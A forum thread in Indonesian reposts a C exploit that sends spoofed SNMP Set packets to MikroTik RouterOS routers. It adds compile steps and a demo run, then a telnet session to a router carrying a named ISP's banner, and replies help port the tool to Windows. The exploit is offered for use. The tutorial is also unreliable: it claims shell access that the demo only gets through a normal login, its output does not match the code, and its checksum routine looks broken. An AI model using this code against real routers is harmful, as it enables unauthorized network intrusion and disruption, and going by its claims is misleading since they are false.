[adv exploiting tutorial] gaining access Mikrotik 2.9.51 (2.9.x branch), 3.13 yg enable SNMP

[bl00d13z]

om momod nebeng mindahin tutor2 gw yg diforum laen kesini ya..hehe,

ini tutor buat gaining access ke shell mikrotik, dah lm bgt gw tulis di forum2 underground tetangga..

ni source cm jln di unix ya.. berhubung headerny <sys/socket>, kaga pake <winsock>

/*  --------------------------------------------------------------------------
 *                          (c) ShadOS 2008
 * 	       _  _     _ _ _  __     _      _   _       
 *	      | || |___| | | |/ /_ _ (_)__ _| |_| |_ ___ 
 *	      | __ / -_) | | ' <| ' \| / _` | ' \  _(_-< 
 *	      |_||_\___|_|_|_|\_\_||_|_\__, |_||_\__/__/ 
 *    	        hellknights.void.ru    |___/  .0x48k.    
 *
 *  --------------------------------------------------------------------------
 *
 *  Title: MicroTik RouterOS <=3.13 SNMP write (Set request) PoC exploit. 
 *
 *  Vendor: www.mikrotik.com
 *
 *  Vulnerable versions: 2.9.51 (2.9.x branch), 3.13 (3.x branch)
 *  (prior versions also affected).
 *
 *  Funded: 03.09.2008 by ShadOS (http://hellknights.void.ru)
 *
 *  Let's see the manual:
 *  http://www.mikrotik.com/testdocs/ros/2.9/root/snmp_content.php
 *  
 *  
 *  

	

		

			

			
				 * 
 *  > SNMP Service
 *  >
 *  > General Information
 *  >
 *  > Summary
 *  >
 *  > ... RouterOS supports only Get, which means that you can use this implementation only for network monitoring.
 *  >
 *  >
 *  > The MikroTik RouterOS supports:
 *  >
 *  > SNMPv1 only
 *  > Read-only access is provided to the NMS (network management system)
 *  > User defined communities are supported
 *  > Get and GetNext actions
 *  > No Set support
 *  > No Trap support
 *  >
 *
 *  
 *
			
		
	
 *
 * 
 *  Don't forget to visit our site and my homepage for new releases:
 *  http://hellknights.void.ru
 *  http://shados.freeweb7.com
 *  Also, you can mail me any bugs or suggestions:
 *  mailto: shados /at/ mail /dot/ ru
 *
 *  Thanks 2 cih.ms and all my friends. 
 *  --------------------------------------------------------------------------
 *
 *  Copyright (C) 89, 90, 91, 1995-2008 Free Software Foundation.
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2, or (at your option)
 *  any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software Foundation,
 *  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 
 *
 *  -------------------------------------------------------------------------- 
 */ 

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <memory.h>
#include <string.h>


unsigned char evilcode[49] = {
0x33, 0x02, 0x01, 0x02, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00, 0x30, 0x18, 0x30, 0x16, 0x06, 0x08, 
0x2B, 0x06, 0x01, 0x02, 0x01, 0x01, 0x05, 0x00, 0x04, 0x17, 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 
0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x75, 0x70, 0x70, 0x6F, 0x72, 0x74, 0x65, 0x64, 
0x21
};

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
   register int nleft = len;
   register u_short *w = addr;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *w++;
      sum += *w++;
      nleft -= 2;
   }
   if (nleft == 1) {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
   }
   sum = (sum >> 17) + (sum & 0xffff);
   sum += (sum >> 17);
   answer = -sum;
   return (answer);
}

int sendudp(int sock,unsigned long *saddr, unsigned long *daddr,unsigned int sport,unsigned int dport,char *data, int len)
{
   char *packet;
   struct sockaddr_in dstaddr;
   struct iphdr *ip;
   struct udphdr *udp;
   packet = (char *)malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + len);
   memset(packet,0,sizeof(struct iphdr) + sizeof(struct udphdr) + len);
   if (packet == NULL) { printf("Malloc failed\n"); exit(-1); }
   ip = (struct iphdr *)packet;
   udp = (struct udphdr *)(packet+sizeof(struct iphdr));
   ip->saddr = *saddr;
   ip->daddr = *daddr;
   ip->version = 4;
   ip->ihl = 5;
   ip->ttl = 255;
   ip->id = htons((unsigned short) rand());
   ip->protocol = IPPROTO_UDP;
   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr)+len);
   ip->check = in_cksum(ip, sizeof(struct iphdr));
   udp->source = htons(sport);
   udp->dest = htons(dport);
   udp->len = htons(sizeof(struct udphdr) + len);
   memcpy(packet + (sizeof(struct iphdr) + sizeof(struct udphdr)),data,len);
   dstaddr.sin_family = AF_INET;
   dstaddr.sin_addr.s_addr = *daddr;
   if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr)+len,0,(struct sockaddr *)&dstaddr,sizeof(struct sockaddr_in)) < 0)
     perror("sendto() failed");
   free(packet);
}

char * makereq(char *community,int *size)
{
  char *buf;
  char *ptr;
  int len;
  int i;

  len = 7 + strlen(community) + sizeof(evilcode);
  buf = (char *)malloc(len);
  ptr = buf;

  *ptr++ = 0x30;
  *ptr++ = len;
  
  /* Snmp Version */
  *ptr++ = 0x02;
  *ptr++ = 0x01;
  *ptr++ = 0x00;
  
  /* Community */
  *ptr++ = 0x04;
  *ptr++ = strlen(community);
  strcpy(ptr,community);
  ptr = ptr + strlen(community);
  
  
  *ptr++ = 0xA3; /* Set Request */
  
  memcpy(ptr, evilcode, sizeof(evilcode));
  ptr = ptr + sizeof(evilcode);

  *size = len+1;
  
  return buf;
}

int erexit(char *msg)
{
  printf("%s\n",msg);
  exit (-1) ;
}

int usage()
{
  printf("Usage: ./snmpdos <-s source> <-d dest> <-c community>\n");
}

int main(int argc, char **argv)
{
  char *saddr,*daddr,*community;
  unsigned char *buf;
  int size;
  int sock;
  unsigned long lsaddr,ldaddr;
  int i;

  saddr = NULL;
  daddr = NULL;
  if (argc != 7) { usage(); erexit("not enough args\n"); }

  if (!strcmp(argv[1],"-s"))
    saddr = strdup(argv[2]);
  if (!strcmp(argv[3],"-d"))
    daddr = strdup(argv[4]);
  if (!strcmp(argv[5],"-c"))
    community = strdup(argv[6]);

  printf("Ok, spoofing packets from %s to %s\n",saddr,daddr);

  if (inet_addr(saddr) == -1 || inet_addr(daddr) == -1) 
    erexit("Invalid source/destination IP address\n");

  if (saddr == NULL) { usage(); erexit("No Source Address"); }
  if (daddr == NULL) { usage(); erexit("No Dest Address"); }

  sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
  if (sock == -1) 
    erexit("Couldnt open Raw socket!(Are you root?)\n");

  lsaddr = inet_addr(saddr);
  ldaddr = inet_addr(daddr);

  buf = makereq(community,&size);

  
  printf("Sending %d bytes buffer:\n",size);
  for (i=0;i<size;i++)
     printf("0x%02x ",buf[i]);
  printf("\n");
  
  sendudp(sock,&lsaddr,&ldaddr,32788,161,buf,size);
  fprintf(stdout,"Sent packet. \"/system identity\" must be changed.\n");
  return 0;

}

// milw0rm.com [2008-09-05]

compile source C diatas dgn gcc anda

me@di3:~> gcc -o mtcrash mt.c
me@di3:~>

jika konfigurasi mikrotik target dibuat seperti ini oleh admin : (disini vulnernya)

[i][admin@MikroTik] /snmp> /snmp set enabled=yes
[admin@MikroTik] /snmp> / snmp community set public name="public" address=192.168.1.0/24 read-access=yes
[admin@MikroTik] /snmp> print
         enabled: yes
         contact: ""
        location: ""
       engine-id: ""
    engine-boots: 0
     time-window: 15
       trap-sink: 0.0.0.0
  trap-community: (unknown)
    trap-version: 1

dan kita tes snmp server target dgn perintah :

me@di3:~> snmpwalk -v1 -cpublic 192.168.1.2
SNMPv2-MIB::sysDescr.0 = STRING: router
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.14988.1
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (2297300) 6:22:53.00
SNMPv2-MIB::sysContact.0 = STRING:
SNMPv2-MIB::sysName.0 = STRING: MikroTik
SNMPv2-MIB::sysLocation.0 = STRING:
SNMPv2-MIB::sysServices.0 = INTEGER: 78
IF-MIB::ifNumber.0 = INTEGER: 2
IF-MIB::ifIndex.1 = INTEGER: 1
IF-MIB::ifIndex.2 = INTEGER: 2
IF-MIB::ifDescr.1 = STRING: ether1

report diatas mengindikasikan snmp service di server aktif dgn publicname=public
maka kita bisa exploitasi dgn source yg sy kasih diatas sebelumny sbb:

me@di3:~> su -c "./mtcrash -s 192.168.1.5 -d 192.168.1.2 -c public"
Password:
Ok, spoofing packets from 192.168.1.5 to 192.168.1.2
Sent packet. SNMPd must be down.
me@di3:~> snmpwalk -v1 -cpublic 192.168.1.2

me@di3:~> ping -n 192.168.1.2 
PING 192.168.1.2 (10.0.2.163) 56(84) bytes of data.
64 bytes from 192.168.1.2: icmp_seq=1 ttl=62 time=49.7 ms
64 bytes from 192.168.1.2: icmp_seq=2 ttl=62 time=28.4 ms

--- 192.168.1.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 28.413/39.066/49.719/10.653 ms
me@di3:~> telnet 192.168.1.2   //lakukan kembali koneksi lwt telnet
Trying 192.168.1.2...
Connected to 192.168.1.2
Escape character is '^]'.

MikroTik v3.2
Login: admin
Password:

  MMM      MMM       KKK                          TTTTTTTTTTT      KKK
  MMMM    MMMM       KKK                          TTTTTTTTTTT      KKK
  MMM MMMM MMM  III  KKK  KKK  RRRRRR     OOOOOO      TTT     III  KKK  KKK
  MMM  MM  MMM  III  KKKKK     RRR  RRR  OOO  OOO     TTT     III  KKKKK
  MMM      MMM  III  KKK KKK   RRRRRR    OOO  OOO     TTT     III  KKK KKK
  MMM      MMM  III  KKK  KKK  RRR  RRR   OOOOOO      TTT     III  KKK  KKK

  MikroTik RouterOS 3.2 (c) 1999-2008       http://www.mikrotik.com/


Property of Midcoast Internet Solutions 2075948277 or http://www.midcoast.com
Unauthorized access will be prosecuted.
All Access is logged.
 
[admin@MikroTik] > sys res print                       //bang!..
bad command name res (line 1 column 5)
[admin@MikroTik] > /system resource print
                   uptime: 6h25m34s
                  version: "3.2"
              free-memory: 3456kB
             total-memory: 13964kB
                      cpu: "MIPS 4Kc V0.11"
                cpu-count: 1
            cpu-frequency: 175MHz
                 cpu-load: 100
           free-hdd-space: 33696kB
          total-hdd-space: 61440kB
  write-sect-since-reboot: 513
         write-sect-total: 197504
               bad-blocks: 0
[admin@MikroTik] >

dor.. dapet deh admin shellnya..

by:bl00d13z a.k.a b1n4ry_g33k5/c0mrade

[Black Zero]

Sori , klo bisa attach aja langsung file nya yang udah dicompile. ga semua orang ngerti cara compile gcc ==a

[Kurt.D.Cobain]

om momod nebeng mindahin tutor2 gw yg diforum laen kesini ya..hehe,

Iya Bro ... Ntar di Index ama Black Zero ... Dia kan Indexer

[ditatompel]

iyaa.. gw ga ngerti apa2... oakwoakwoawk

[bl00d13z]

nah.. justru itu pembelajaranny.. malah gw pngenny ad proses,.biarpun ngompile itu spele tp tetep suatu saat bakal berhadapan ama ngompile2 kalo udh mulai belajar coding^ ^
(cr ngompileny sbnernya udah gw kasih diatas), tgl copas sourcenya ke editor, save ma ekstensi .c compile ama gcc deh.. pake opsi -o buat output filename, diiringi ama filename resourceny yg ekstensi .c (ga pake library2 khusus kok ngompileny)klo ad error bs share kesini biar bs dibahas..^ ^

[koker123]

itu klo mau d pake d windows tinggal ganti headernya doang kah ?
bs download d mana tuh ya headernya, ato dah default ?
gak begitu ngerti networking si hehehe....

c om gak d jelasin d simpen jadi apa tuh file, unix pula. lol

[bl00d13z]

itu klo mau d pake d windows tinggal ganti headernya doang kah ?
bs download d mana tuh ya headernya, ato dah default ?
gak begitu ngerti networking si hehehe....

c om gak d jelasin d simpen jadi apa tuh file, unix pula. lol

bisa kok..pake cygwin aj, jgn ganti langsung headerny jd winsock, ada beberapa struktur yg beda, saran gw klo mau jalanin di windows install ja dlu cygwin, tar kan bs pake gcc di windoz..

btw file itu disimpen jd namefile.c (namefile = terserah apapun) di cth gw kasih mt.c dan setelah dicompile jadinya file binary mtcrash

[koker123]

harus pake gcc kah ?

soalnya gw punya blodsheed c++
klo gak salah itu bisa kok buat compile file c juga

[bl00d13z]

harus pake gcc kah ?

soalnya gw punya blodsheed c++
klo gak salah itu bisa kok buat compile file c juga

lah libraryny kan library unix, di windows mana ada direktori /sys atau /netinet, gw lom cb pake blodsheed, di windoz ngompile c gw pake lcc, buat unix gcc... beda loh struktur library unix ma windoz, klo yg multiplatform di programming tuh keq perl, python, java, itu baru bisa pake source yg sama dicompile diberbagai platform, klo C ma tergantung struktur headerny, sm keq <conio.h> di unix mana ada..jd klo mau crossplatform ya ada 2 cara, bisa edit ulang header ma struktur programny bisa pake emulator compiler utk crossplatform

[koker123]

jadi intinya klo gw pake tuh program cuman tinggal ganti header tanpa harus ganti ulang strukturnya ?
ntar gw coba deh

[bl00d13z]

jadi intinya klo gw pake tuh program cuman tinggal ganti header tanpa harus ganti ulang strukturnya ?
ntar gw coba deh

eh ga.. =_=, duh gni ni.. gw paling susah klo nerangin,. ga bakat >.<

struktur penulisannya ada yg beda antara winsock ma socket di unix, strukturny jg harus ada yg diubah, atau km pake compiler emulator buat C unix, yg gw sebut tadi (cygwin),.klo emg niat ganti ke winsock ada beberapa nih yg perlu dirubah :

kalo ada header:

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

bisa diganti ke:

#include <winsock(2).h>
#include <windows.h>

ganti tipe data pembentuk socket jadi Socket sock; yang biasanya int sock; kalo di unix..

trus kalo liat definisi type yg unsigned short atau unsigned long,dll ganti ke USHORT,ULONG
ea.. jd nerangin tutorial Cnya malah..
gtu kurang lebih.. penulisan jg ada yg beda antara C di windoz ama C di unix,

[op3l]

gcc pnya linux kalau ga salah compile nya

gcc -o namafileoutput namafileinput.C


kalau gak salah ini namanya socket programming, dilinux lebih gampang 'nusuk'nya daripada dwindows

entahlah dlu saya juga pake linux jadi blum pnah coba dwindows jalan gak

[bl00d13z]

gcc pnya linux kalau ga salah compile nya

gcc -o namafileoutput namafileinput.C


kalau gak salah ini namanya socket programming, dilinux lebih gampang 'nusuk'nya daripada dwindows

entahlah dlu saya juga pake linux jadi blum pnah coba dwindows jalan gak

yap.. klo nambah library khusus ngompileny tmbh nama libraryny, misal pake <pcap.h>
gcc -o namefileoutput namefileinput.c -lpcap
yup.. ini socket programming,.